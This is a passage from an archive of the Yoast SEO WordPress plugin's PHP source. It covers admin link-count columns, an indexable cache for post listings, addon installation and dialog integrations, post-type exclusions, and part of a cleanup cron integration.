			Should_Index_Links_Conditional::class,
		];
	}

	/**
	 * Link_Count_Columns_Integration constructor
	 *
	 * @param Post_Type_Helper                $post_type_helper          The post type helper.
	 * @param wpdb                            $wpdb                      The wpdb object.
	 * @param Post_Link_Indexing_Action       $post_link_indexing_action The post link indexing action.
	 * @param Admin_Columns_Cache_Integration $admin_columns_cache       The admin columns cache.
	 */
	public function __construct(
		Post_Type_Helper $post_type_helper,
		wpdb $wpdb,
		Post_Link_Indexing_Action $post_link_indexing_action,
		Admin_Columns_Cache_Integration $admin_columns_cache
	) {
		$this->post_type_helper          = $post_type_helper;
		$this->wpdb                      = $wpdb;
		$this->post_link_indexing_action = $post_link_indexing_action;
		$this->admin_columns_cache       = $admin_columns_cache;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'posts_clauses', [ $this, 'order_by_links' ], 1, 2 );
		\add_filter( 'posts_clauses', [ $this, 'order_by_linked' ], 1, 2 );

		\add_action( 'admin_init', [ $this, 'register_init_hooks' ] );

		// Adds a filter to exclude the attachments from the link count.
		\add_filter( 'wpseo_link_count_post_types', [ 'WPSEO_Post_Type', 'filter_attachment_post_type' ] );
	}

	/**
	 * Register hooks that need to be registered after `init` due to all post types not yet being registered.
	 *
	 * @return void
	 */
	public function register_init_hooks() {
		$public_post_types = \apply_filters( 'wpseo_link_count_post_types', $this->post_type_helper->get_accessible_post_types() );

		if ( ! \is_array( $public_post_types ) || empty( $public_post_types ) ) {
			return;
		}

		foreach ( $public_post_types as $post_type ) {
			\add_filter( 'manage_' . $post_type . '_posts_columns', [ $this, 'add_post_columns' ] );
			\add_action( 'manage_' . $post_type . '_posts_custom_column', [ $this, 'column_content' ], 10, 2 );
			\add_filter( 'manage_edit-' . $post_type . '_sortable_columns', [ $this, 'column_sort' ] );
		}
	}

	/**
	 * Adds the columns for the post overview.
	 *
	 * @param array $columns Array with columns.
	 *
	 * @return array The extended array with columns.
	 */
	public function add_post_columns( $columns ) {
		if ( ! \is_array( $columns ) ) {
			return $columns;
		}

		$columns[ 'wpseo-' . self::COLUMN_LINKS ] = \sprintf(
			'<span class="yoast-linked-to yoast-column-header-has-tooltip" data-tooltip-text="%1$s"><span class="screen-reader-text">%2$s</span></span>',
			\esc_attr__( 'Number of outgoing internal links in this post. See "Yoast Columns" text in the help tab for more info.', 'wordpress-seo' ),
			/* translators: Hidden accessibility text. */
			\esc_html__( 'Outgoing internal links', 'wordpress-seo' )
		);

		if ( $this->post_link_indexing_action->get_total_unindexed() === 0 ) {
			$columns[ 'wpseo-' . self::COLUMN_LINKED ] = \sprintf(
				'<span class="yoast-linked-from yoast-column-header-has-tooltip" data-tooltip-text="%1$s"><span class="screen-reader-text">%2$s</span></span>',
				\esc_attr__( 'Number of internal links linking to this post. See "Yoast Columns" text in the help tab for more info.', 'wordpress-seo' ),
				/* translators: Hidden accessibility text. */
				\esc_html__( 'Received internal links', 'wordpress-seo' )
			);
		}

		return $columns;
	}

	/**
	 * Modifies the query pieces to allow ordering column by links to post.
	 *
	 * @param array    $pieces Array of Query pieces.
	 * @param WP_Query $query  The Query on which to apply.
	 *
	 * @return array
	 */
	public function order_by_linked( $pieces, $query ) {
		if ( $query->get( 'orderby' ) !== 'wpseo-' . self::COLUMN_LINKED ) {
			return $pieces;
		}

		return $this->build_sort_query_pieces( $pieces, $query, 'incoming_link_count' );
	}

	/**
	 * Modifies the query pieces to allow ordering column by links to post.
	 *
	 * @param array    $pieces Array of Query pieces.
	 * @param WP_Query $query  The Query on which to apply.
	 *
	 * @return array
	 */
	public function order_by_links( $pieces, $query ) {
		if ( $query->get( 'orderby' ) !== 'wpseo-' . self::COLUMN_LINKS ) {
			return $pieces;
		}

		return $this->build_sort_query_pieces( $pieces, $query, 'link_count' );
	}

	/**
	 * Builds the pieces for a sorting query.
	 *
	 * @param array    $pieces Array of Query pieces.
	 * @param WP_Query $query  The Query on which to apply.
	 * @param string   $field  The field in the table to JOIN on.
	 *
	 * @return array Modified Query pieces.
	 */
	protected function build_sort_query_pieces( $pieces, $query, $field ) {
		// We only want our code to run in the main WP query.
		if ( ! $query->is_main_query() ) {
			return $pieces;
		}

		// Get the order query variable - ASC or DESC.
		$order = \strtoupper( $query->get( 'order' ) );

		// Make sure the order setting qualifies. If not, set default as ASC.
		if ( ! \in_array( $order, [ 'ASC', 'DESC' ], true ) ) {
			$order = 'ASC';
		}

		$table = Model::get_table_name( 'Indexable' );

		$pieces['join']   .= " LEFT JOIN $table AS yoast_indexable ON yoast_indexable.object_id = {$this->wpdb->posts}.ID AND yoast_indexable.object_type = 'post' ";
		$pieces['orderby'] = "yoast_indexable.$field $order, FIELD( {$this->wpdb->posts}.post_status, 'publish' ) $order, {$pieces['orderby']}";

		return $pieces;
	}

	/**
	 * Displays the column content for the given column.
	 *
	 * @param string $column_name Column to display the content for.
	 * @param int    $post_id     Post to display the column content for.
	 *
	 * @return void
	 */
	public function column_content( $column_name, $post_id ) {
		$indexable = $this->admin_columns_cache->get_indexable( $post_id );
		// Nothing to output if we don't have the value.
		if ( $indexable === false ) {
			return;
		}

		switch ( $column_name ) {
			case 'wpseo-' . self::COLUMN_LINKS:
				echo (int) $indexable->link_count;
				return;
			case 'wpseo-' . self::COLUMN_LINKED:
				if ( \get_post_status( $post_id ) === 'publish' ) {
					echo (int) $indexable->incoming_link_count;
				}
		}
	}

	/**
	 * Sets the sortable columns.
	 *
	 * @param array $columns Array with sortable columns.
	 *
	 * @return array The extended array with sortable columns.
	 */
	public function column_sort( array $columns ) {
		$columns[ 'wpseo-' . self::COLUMN_LINKS ]  = 'wpseo-' . self::COLUMN_LINKS;
		$columns[ 'wpseo-' . self::COLUMN_LINKED ] = 'wpseo-' . self::COLUMN_LINKED;

		return $columns;
	}
}
wordpress-seo/src/integrations/admin/admin-columns-cache-integration.php000064400000017142147510273100022613 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WP_Post;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Admin_Columns_Cache_Integration class.
 */
class Admin_Columns_Cache_Integration implements Integration_Interface {

	/**
	 * Cache of indexables.
	 *
	 * @var Indexable[]
	 */
	protected $indexable_cache = [];

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * In this case: only when on an admin page.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Admin_Columns_Cache_Integration constructor.
	 *
	 * @param Indexable_Repository $indexable_repository The indexable repository.
	 */
	public function __construct( Indexable_Repository $indexable_repository ) {
		$this->indexable_repository = $indexable_repository;
	}

	/**
	 * Registers the appropriate actions and filters to fill the cache with
	 * indexables on admin pages.
	 *
	 * This cache is used in showing the Yoast SEO columns on the posts overview
	 * page (e.g. keyword score, incoming link count, etc.)
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Hook into tablenav to calculate links and linked.
		\add_action( 'manage_posts_extra_tablenav', [ $this, 'maybe_fill_cache' ] );
	}

	/**
	 * Makes sure we calculate all values in one query by filling our cache beforehand.
	 *
	 * @param string $target Extra table navigation location which is triggered.
	 *
	 * @return void
	 */
	public function maybe_fill_cache( $target ) {
		if ( $target === 'top' ) {
			$this->fill_cache();
		}
	}

	/**
	 * Fills the cache of indexables for all known post IDs.
	 *
	 * @return void
	 */
	public function fill_cache() {
		global $wp_query;

		// No need to continue building a cache if the main query did not return anything to cache.
		if ( empty( $wp_query->posts ) ) {
			return;
		}

		$posts    = $wp_query->posts;
		$post_ids = [];

		// Post lists return a list of objects.
		if ( isset( $posts[0] ) && \is_a( $posts[0], 'WP_Post' ) ) {
			$post_ids = \wp_list_pluck( $posts, 'ID' );
		}
		elseif ( isset( $posts[0] ) && \is_object( $posts[0] ) ) {
			$post_ids = $this->get_current_page_page_ids( $posts );
		}
		elseif ( ! empty( $posts ) ) {
			// Page list returns an array of post IDs.
			$post_ids = \array_keys( $posts );
		}

		if ( empty( $post_ids ) ) {
			return;
		}

		if ( isset( $posts[0] ) && ! \is_a( $posts[0], WP_Post::class ) ) {
			// Prime the post caches as core would to avoid duplicate queries.
			// This needs to be done as this executes before core does.
			\_prime_post_caches( $post_ids );
		}

		$indexables = $this->indexable_repository->find_by_multiple_ids_and_type( $post_ids, 'post', false );

		foreach ( $indexables as $indexable ) {
			if ( $indexable instanceof Indexable ) {
				$this->indexable_cache[ $indexable->object_id ] = $indexable;
			}
		}
	}

	/**
	 * Returns the indexable for a given post ID.
	 *
	 * @param int $post_id The post ID.
	 *
	 * @return Indexable|false The indexable. False if none could be found.
	 */
	public function get_indexable( $post_id ) {
		if ( ! \array_key_exists( $post_id, $this->indexable_cache ) ) {
			$this->indexable_cache[ $post_id ] = $this->indexable_repository->find_by_id_and_type( $post_id, 'post' );
		}
		return $this->indexable_cache[ $post_id ];
	}

	/**
	 * Gets all the page IDs set to be shown on the current page.
	 * This is copied over with some changes from WP_Posts_List_Table::_display_rows_hierarchical.
	 *
	 * @param array $pages The pages, each containing an ID and post_parent.
	 *
	 * @return array The IDs of all pages shown on the current page.
	 */
	private function get_current_page_page_ids( $pages ) {
		global $per_page;
		$pagenum = isset( $_REQUEST['paged'] ) ? \absint( $_REQUEST['paged'] ) : 0;
		$pagenum = \max( 1, $pagenum );

		/*
		 * Arrange pages into two parts: top level pages and children_pages
		 * children_pages is two dimensional array, eg.
		 * children_pages[10][] contains all sub-pages whose parent is 10.
		 * It only takes O( N ) to arrange this and it takes O( 1 ) for subsequent lookup operations
		 * If searching, ignore hierarchy and treat everything as top level
		 */
		if ( empty( $_REQUEST['s'] ) ) {
			$top_level_pages = [];
			$children_pages  = [];
			$pages_map       = [];

			foreach ( $pages as $page ) {

				// Catch and repair bad pages.
				if ( $page->post_parent === $page->ID ) {
					$page->post_parent = 0;
				}

				if ( $page->post_parent === 0 ) {
					$top_level_pages[] = $page;
				}
				else {
					$children_pages[ $page->post_parent ][] = $page;
				}
				$pages_map[ $page->ID ] = $page;
			}

			$pages = $top_level_pages;
		}

		$count      = 0;
		$start      = ( ( $pagenum - 1 ) * $per_page );
		$end        = ( $start + $per_page );
		$to_display = [];

		foreach ( $pages as $page ) {
			if ( $count >= $end ) {
				break;
			}

			if ( $count >= $start ) {
				$to_display[] = $page->ID;
			}

			++$count;

			$this->get_child_page_ids( $children_pages, $count, $page->ID, $start, $end, $to_display, $pages_map );
		}

		// If it is the last pagenum and there are orphaned pages, display them with paging as well.
		if ( isset( $children_pages ) && $count < $end ) {
			foreach ( $children_pages as $orphans ) {
				foreach ( $orphans as $op ) {
					if ( $count >= $end ) {
						break;
					}

					if ( $count >= $start ) {
						$to_display[] = $op->ID;
					}

					++$count;
				}
			}
		}

		return $to_display;
	}

	/**
	 * Adds all child pages due to be shown on the current page to the $to_display array.
	 * Copied over with some changes from WP_Posts_List_Table::_page_rows.
	 *
	 * @param array $children_pages The full map of child pages.
	 * @param int   $count          The number of pages already processed.
	 * @param int   $parent_id      The id of the parent that's currently being processed.
	 * @param int   $start          The number at which the current overview starts.
	 * @param int   $end            The number at which the current overview ends.
	 * @param int   $to_display     The page IDs to be shown.
	 * @param int   $pages_map      A map of page ID to an object with ID and post_parent.
	 *
	 * @return void
	 */
	private function get_child_page_ids( &$children_pages, &$count, $parent_id, $start, $end, &$to_display, &$pages_map ) {
		if ( ! isset( $children_pages[ $parent_id ] ) ) {
			return;
		}

		foreach ( $children_pages[ $parent_id ] as $page ) {
			if ( $count >= $end ) {
				break;
			}

			// If the page starts in a subtree, print the parents.
			if ( $count === $start && $page->post_parent > 0 ) {
				$my_parents = [];
				$my_parent  = $page->post_parent;
				while ( $my_parent ) {
					// Get the ID from the list or the attribute if my_parent is an object.
					$parent_id = $my_parent;
					if ( \is_object( $my_parent ) ) {
						$parent_id = $my_parent->ID;
					}

					$my_parent    = $pages_map[ $parent_id ];
					$my_parents[] = $my_parent;
					if ( ! $my_parent->post_parent ) {
						break;
					}
					$my_parent = $my_parent->post_parent;
				}
				while ( $my_parent = \array_pop( $my_parents ) ) {
					$to_display[] = $my_parent->ID;
				}
			}

			if ( $count >= $start ) {
				$to_display[] = $page->ID;
			}

			++$count;

			$this->get_child_page_ids( $children_pages, $count, $page->ID, $start, $end, $to_display, $pages_map );
		}

		unset( $children_pages[ $parent_id ] ); // Required in order to keep track of orphans.
	}
}
wordpress-seo/src/integrations/admin/addon-installation/installation-integration.php000064400000013675147510273100025300 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Discussed in Tech Council, a better solution is being worked on.

namespace Yoast\WP\SEO\Integrations\Admin\Addon_Installation;

use WPSEO_Addon_Manager;
use Yoast\WP\SEO\Actions\Addon_Installation\Addon_Activate_Action;
use Yoast\WP\SEO\Actions\Addon_Installation\Addon_Install_Action;
use Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional;
use Yoast\WP\SEO\Conditionals\Admin\Licenses_Page_Conditional;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Exceptions\Addon_Installation\Addon_Activation_Error_Exception;
use Yoast\WP\SEO\Exceptions\Addon_Installation\Addon_Already_Installed_Exception;
use Yoast\WP\SEO\Exceptions\Addon_Installation\Addon_Installation_Error_Exception;
use Yoast\WP\SEO\Exceptions\Addon_Installation\User_Cannot_Activate_Plugins_Exception;
use Yoast\WP\SEO\Exceptions\Addon_Installation\User_Cannot_Install_Plugins_Exception;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Represents the Addon installation feature.
 */
class Installation_Integration implements Integration_Interface {

	/**
	 * The installation action.
	 *
	 * @var Addon_Install_Action
	 */
	protected $addon_install_action;

	/**
	 * The activation action.
	 *
	 * @var Addon_Activate_Action
	 */
	protected $addon_activate_action;

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	protected $addon_manager;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [
			Admin_Conditional::class,
			Licenses_Page_Conditional::class,
			Addon_Installation_Conditional::class,
		];
	}

	/**
	 * Addon_Installation constructor.
	 *
	 * @param WPSEO_Addon_Manager   $addon_manager         The addon manager.
	 * @param Addon_Activate_Action $addon_activate_action The addon activate action.
	 * @param Addon_Install_Action  $addon_install_action  The addon install action.
	 */
	public function __construct(
		WPSEO_Addon_Manager $addon_manager,
		Addon_Activate_Action $addon_activate_action,
		Addon_Install_Action $addon_install_action
	) {
		$this->addon_manager         = $addon_manager;
		$this->addon_activate_action = $addon_activate_action;
		$this->addon_install_action  = $addon_install_action;
	}

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wpseo_install_and_activate_addons', [ $this, 'install_and_activate_addons' ] );
	}

	/**
	 * Installs and activates missing addons.
	 *
	 * @return void
	 */
	public function install_and_activate_addons() {
		if ( ! isset( $_GET['action'] ) || ! \is_string( $_GET['action'] ) ) {
			return;
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only strictly comparing action below.
		$action = \wp_unslash( $_GET['action'] );
		if ( $action !== 'install' ) {
			return;
		}

		\check_admin_referer( 'wpseo_addon_installation', 'nonce' );

		echo '<div class="wrap yoast wpseo_table_page">';

		\printf(
			'<h1 id="wpseo-title" class="yoast-h1">%s</h1>',
			\esc_html__( 'Installing and activating addons', 'wordpress-seo' )
		);

		$licensed_addons = $this->addon_manager->get_myyoast_site_information()->subscriptions;

		foreach ( $licensed_addons as $addon ) {
			\printf( '<p><strong>%s</strong></p>', \esc_html( $addon->product->name ) );

			list( $installed, $output ) = $this->install_addon( $addon->product->slug, $addon->product->download );

			if ( $installed ) {
				$activation_output = $this->activate_addon( $addon->product->slug );

				$output = \array_merge( $output, $activation_output );
			}

			echo '<p>';
			echo \implode( '<br />', \array_map( 'esc_html', $output ) );
			echo '</p>';
		}

		\printf(
			/* translators: %1$s expands to an anchor tag to the admin premium page, %2$s expands to Yoast SEO Premium, %3$s expands to a closing anchor tag */
			\esc_html__( '%1$s Continue to %2$s%3$s', 'wordpress-seo' ),
			'<a href="' . \esc_url( \admin_url( 'admin.php?page=wpseo_licenses' ) ) . '">',
			'Yoast SEO Premium',
			'</a>'
		);

		echo '</div>';

		exit;
	}

	/**
	 * Activates an addon.
	 *
	 * @param string $addon_slug The addon to activate.
	 *
	 * @return array The output of the activation.
	 */
	public function activate_addon( $addon_slug ) {
		$output = [];

		try {
			$this->addon_activate_action->activate_addon( $addon_slug );

			/* Translators: %s expands to the name of the addon. */
			$output[] = \__( 'Addon activated.', 'wordpress-seo' );
		} catch ( User_Cannot_Activate_Plugins_Exception $exception ) {
			$output[] = \__( 'You are not allowed to activate plugins.', 'wordpress-seo' );
		} catch ( Addon_Activation_Error_Exception $exception ) {
			$output[] = \sprintf(
				/* Translators:%s expands to the error message. */
				\__( 'Addon activation failed because of an error: %s.', 'wordpress-seo' ),
				$exception->getMessage()
			);
		}

		return $output;
	}

	/**
	 * Installs an addon.
	 *
	 * @param string $addon_slug     The slug of the addon to install.
	 * @param string $addon_download The download URL of the addon.
	 *
	 * @return array The installation success state and the output of the installation.
	 */
	public function install_addon( $addon_slug, $addon_download ) {
		$installed = false;
		$output    = [];

		try {
			$installed = $this->addon_install_action->install_addon( $addon_slug, $addon_download );
		} catch ( Addon_Already_Installed_Exception $exception ) {
			/* Translators: %s expands to the name of the addon. */
			$output[] = \__( 'Addon installed.', 'wordpress-seo' );

			$installed = true;
		} catch ( User_Cannot_Install_Plugins_Exception $exception ) {
			$output[] = \__( 'You are not allowed to install plugins.', 'wordpress-seo' );
		} catch ( Addon_Installation_Error_Exception $exception ) {
			$output[] = \sprintf(
				/* Translators: %s expands to the error message. */
				\__( 'Addon installation failed because of an error: %s.', 'wordpress-seo' ),
				$exception->getMessage()
			);
		}

		return [ $installed, $output ];
	}
}
wordpress-seo/src/integrations/admin/addon-installation/dialog-integration.php000064400000006661147510273100024033 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Discussed in Tech Council, a better solution is being worked on.

namespace Yoast\WP\SEO\Integrations\Admin\Addon_Installation;

use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional;
use Yoast\WP\SEO\Conditionals\Admin\Licenses_Page_Conditional;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Represents the Addon installation feature.
 */
class Dialog_Integration implements Integration_Interface {

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	protected $addon_manager;

	/**
	 * The addons.
	 *
	 * @var array
	 */
	protected $owned_addons;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [
			Admin_Conditional::class,
			Licenses_Page_Conditional::class,
			Addon_Installation_Conditional::class,
		];
	}

	/**
	 * Addon_Installation constructor.
	 *
	 * @param WPSEO_Addon_Manager $addon_manager The addon manager.
	 */
	public function __construct( WPSEO_Addon_Manager $addon_manager ) {
		$this->addon_manager = $addon_manager;
	}

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'start_addon_installation' ] );
	}

	/**
	 * Starts the addon installation flow.
	 *
	 * @return void
	 */
	public function start_addon_installation() {
		// Only show the dialog when we explicitly want to see it.
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: This is not a form.
		if ( ! isset( $_GET['install'] ) || $_GET['install'] !== 'true' ) {
			return;
		}

		$this->bust_myyoast_addon_information_cache();
		$this->owned_addons = $this->get_owned_addons();

		if ( \count( $this->owned_addons ) > 0 ) {
			\add_action( 'admin_enqueue_scripts', [ $this, 'show_modal' ] );
		}
		else {
			\add_action( 'admin_notices', [ $this, 'throw_no_owned_addons_warning' ] );
		}
	}

	/**
	 * Throws a no owned addons warning.
	 *
	 * @return void
	 */
	public function throw_no_owned_addons_warning() {
		echo '<div class="notice notice-warning"><p>'
			. \sprintf(
				/* translators: %1$s expands to Yoast SEO */
				\esc_html__(
					'No %1$s plugins have been installed. You don\'t seem to own any active subscriptions.',
					'wordpress-seo'
				),
				'Yoast SEO'
			)
			. '</p></div>';
	}

	/**
	 * Shows the modal.
	 *
	 * @return void
	 */
	public function show_modal() {
		\wp_localize_script(
			WPSEO_Admin_Asset_Manager::PREFIX . 'addon-installation',
			'wpseoAddonInstallationL10n',
			[
				'addons' => $this->owned_addons,
				'nonce'  => \wp_create_nonce( 'wpseo_addon_installation' ),
			]
		);

		$asset_manager = new WPSEO_Admin_Asset_Manager();
		$asset_manager->enqueue_script( 'addon-installation' );
	}

	/**
	 * Retrieves a list of owned addons for the site in MyYoast.
	 *
	 * @return array List of owned addons with slug as key and name as value.
	 */
	protected function get_owned_addons() {
		$owned_addons = [];

		foreach ( $this->addon_manager->get_myyoast_site_information()->subscriptions as $addon ) {
			$owned_addons[] = $addon->product->name;
		}

		return $owned_addons;
	}

	/**
	 * Bust the site information transients to have fresh data.
	 *
	 * @return void
	 */
	protected function bust_myyoast_addon_information_cache() {
		$this->addon_manager->remove_site_information_transients();
	}
}
wordpress-seo/src/integrations/exclude-attachment-post-type.php000064400000001452147510273100021111 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Conditionals\Attachment_Redirections_Enabled_Conditional;

/**
 * Excludes Attachment post types from the indexable table.
 *
 * Posts with these post types will not be saved to the indexable table.
 */
class Exclude_Attachment_Post_Type extends Abstract_Exclude_Post_Type {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Attachment_Redirections_Enabled_Conditional::class ];
	}

	/**
	 * Returns the names of the post types to be excluded.
	 * To be used in the wpseo_indexable_excluded_post_types filter.
	 *
	 * @return array The names of the post types.
	 */
	public function get_post_type() {
		return [ 'attachment' ];
	}
}
wordpress-seo/src/integrations/exclude-oembed-cache-post-type.php000064400000001466147510273100021262 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Conditionals\Migrations_Conditional;

/**
 * Excludes certain oEmbed Cache-specific post types from the indexable table.
 *
 * Posts with these post types will not be saved to the indexable table.
 */
class Exclude_Oembed_Cache_Post_Type extends Abstract_Exclude_Post_Type {

	/**
	 * This integration is only active when the database migrations have been run.
	 *
	 * @return array|string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Returns the names of the post types to be excluded.
	 * To be used in the wpseo_indexable_excluded_post_types filter.
	 *
	 * @return array The names of the post types.
	 */
	public function get_post_type() {
		return [ 'oembed_cache' ];
	}
}
wordpress-seo/src/integrations/cleanup-integration.php000064400000023335147510273100017344 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use Closure;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Repositories\Indexable_Cleanup_Repository;

/**
 * Adds cleanup hooks.
 */
class Cleanup_Integration implements Integration_Interface {

	/**
	 * Identifier used to determine the current task.
	 */
	public const CURRENT_TASK_OPTION = 'wpseo-cleanup-current-task';

	/**
	 * Identifier for the cron job.
	 */
	public const CRON_HOOK = 'wpseo_cleanup_cron';

	/**
	 * Identifier for starting the cleanup.
	 */
	public const START_HOOK = 'wpseo_start_cleanup_indexables';

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * The cleanup repository.
	 *
	 * @var Indexable_Cleanup_Repository
	 */
	private $cleanup_repository;

	/**
	 * The constructor.
	 *
	 * @param Indexable_Cleanup_Repository $cleanup_repository The cleanup repository.
	 * @param Indexable_Helper             $indexable_helper   The indexable helper.
	 */
	public function __construct(
		Indexable_Cleanup_Repository $cleanup_repository,
		Indexable_Helper $indexable_helper
	) {
		$this->cleanup_repository = $cleanup_repository;
		$this->indexable_helper   = $indexable_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( self::START_HOOK, [ $this, 'run_cleanup' ] );
		\add_action( self::CRON_HOOK, [ $this, 'run_cleanup_cron' ] );
		\add_action( 'wpseo_deactivate', [ $this, 'reset_cleanup' ] );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The array of conditionals.
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * Starts the indexables cleanup.
	 *
	 * @return void
	 */
	public function run_cleanup() {
		$this->reset_cleanup();

		if ( ! $this->indexable_helper->should_index_indexables() ) {
			\wp_unschedule_hook( self::START_HOOK );
			return;
		}

		$cleanups = $this->get_cleanup_tasks();
		$limit    = $this->get_limit();

		foreach ( $cleanups as $name => $action ) {
			$items_cleaned = $action( $limit );

			if ( $items_cleaned === false ) {
				return;
			}

			if ( $items_cleaned < $limit ) {
				continue;
			}

			// There are more items to delete for the current cleanup job, start a cronjob at the specified job.
			$this->start_cron_job( $name );

			return;
		}
	}

	/**
	 * Returns an array of cleanup tasks.
	 *
	 * @return Closure[] The cleanup tasks.
	 */
	public function get_cleanup_tasks() {
		return \array_merge(
			[
				'clean_indexables_with_object_type_and_object_sub_type_shop_order' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_with_object_type_and_object_sub_type( 'post', 'shop_order', $limit );
				},
				'clean_indexables_by_post_status_auto-draft' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_with_post_status( 'auto-draft', $limit );
				},
				'clean_indexables_for_non_publicly_viewable_post' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_non_publicly_viewable_post( $limit );
				},
				'clean_indexables_for_non_publicly_viewable_taxonomies' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_non_publicly_viewable_taxonomies( $limit );
				},
				'clean_indexables_for_non_publicly_viewable_post_type_archive_pages' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_non_publicly_viewable_post_type_archive_pages( $limit );
				},
				'clean_indexables_for_authors_archive_disabled' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_authors_archive_disabled( $limit );
				},
				'clean_indexables_for_authors_without_archive' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_authors_without_archive( $limit );
				},
				'update_indexables_author_to_reassigned' => function ( $limit ) {
					return $this->cleanup_repository->update_indexables_author_to_reassigned( $limit );
				},
				'clean_orphaned_user_indexables_without_wp_user' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_orphaned_users( $limit );
				},
				'clean_orphaned_user_indexables_without_wp_post' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_object_type_and_source_table( 'posts', 'ID', 'post', $limit );
				},
				'clean_orphaned_user_indexables_without_wp_term' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_object_type_and_source_table( 'terms', 'term_id', 'term', $limit );
				},
			],
			$this->get_additional_indexable_cleanups(),
			[
				/* These should always be the last ones to be called. */
				'clean_orphaned_content_indexable_hierarchy' => function ( $limit ) {
					return $this->cleanup_repository->cleanup_orphaned_from_table( 'Indexable_Hierarchy', 'indexable_id', $limit );
				},
				'clean_orphaned_content_seo_links_indexable_id' => function ( $limit ) {
					return $this->cleanup_repository->cleanup_orphaned_from_table( 'SEO_Links', 'indexable_id', $limit );
				},
				'clean_orphaned_content_seo_links_target_indexable_id' => function ( $limit ) {
					return $this->cleanup_repository->cleanup_orphaned_from_table( 'SEO_Links', 'target_indexable_id', $limit );
				},

			],
			$this->get_additional_misc_cleanups()
		);
	}

	/**
	 * Gets additional tasks from the 'wpseo_cleanup_tasks' filter.
	 *
	 * @return Closure[] Associative array of indexable cleanup functions.
	 */
	private function get_additional_indexable_cleanups() {

		/**
		 * Filter: Adds the possibility to add additional indexable cleanup functions.
		 *
		 * @param array $additional_tasks Associative array with unique keys. Value should be a cleanup function that receives a limit.
		 */
		$additional_tasks = \apply_filters( 'wpseo_cleanup_tasks', [] );

		return $this->validate_additional_tasks( $additional_tasks );
	}

	/**
	 * Gets additional tasks from the 'wpseo_misc_cleanup_tasks' filter.
	 *
	 * @return Closure[] Associative array of indexable cleanup functions.
	 */
	private function get_additional_misc_cleanups() {

		/**
		 * Filter: Adds the possibility to add additional non-indexable cleanup functions.
		 *
		 * @param array $additional_tasks Associative array with unique keys. Value should be a cleanup function that receives a limit.
		 */
		$additional_tasks = \apply_filters( 'wpseo_misc_cleanup_tasks', [] );

		return $this->validate_additional_tasks( $additional_tasks );
	}

	/**
	 * Validates the additional tasks.
	 *
	 * @param Closure[] $additional_tasks The additional tasks to validate.
	 *
	 * @return Closure[] The validated additional tasks.
	 */
	private function validate_additional_tasks( $additional_tasks ) {
		if ( ! \is_array( $additional_tasks ) ) {
			return [];
		}

		foreach ( $additional_tasks as $key => $value ) {
			if ( \is_int( $key ) ) {
				return [];
			}
			if ( ( ! \is_object( $value ) ) || ! ( $value instanceof Closure ) ) {
				return [];
			}
		}

		return $additional_tasks;
	}

	/**
	 * Gets the deletion limit for cleanups.
	 *
	 * @return int The limit for the amount of entities to be cleaned.
	 */
	private function get_limit() {
		/**
		 * Filter: Adds the possibility to limit the number of items that are deleted from the database on cleanup.
		 *
		 * @param int $limit Maximum number of indexables to be cleaned up per query.
		 */
		$limit = \apply_filters( 'wpseo_cron_query_limit_size', 1000 );

		if ( ! \is_int( $limit ) ) {
			$limit = 1000;
		}

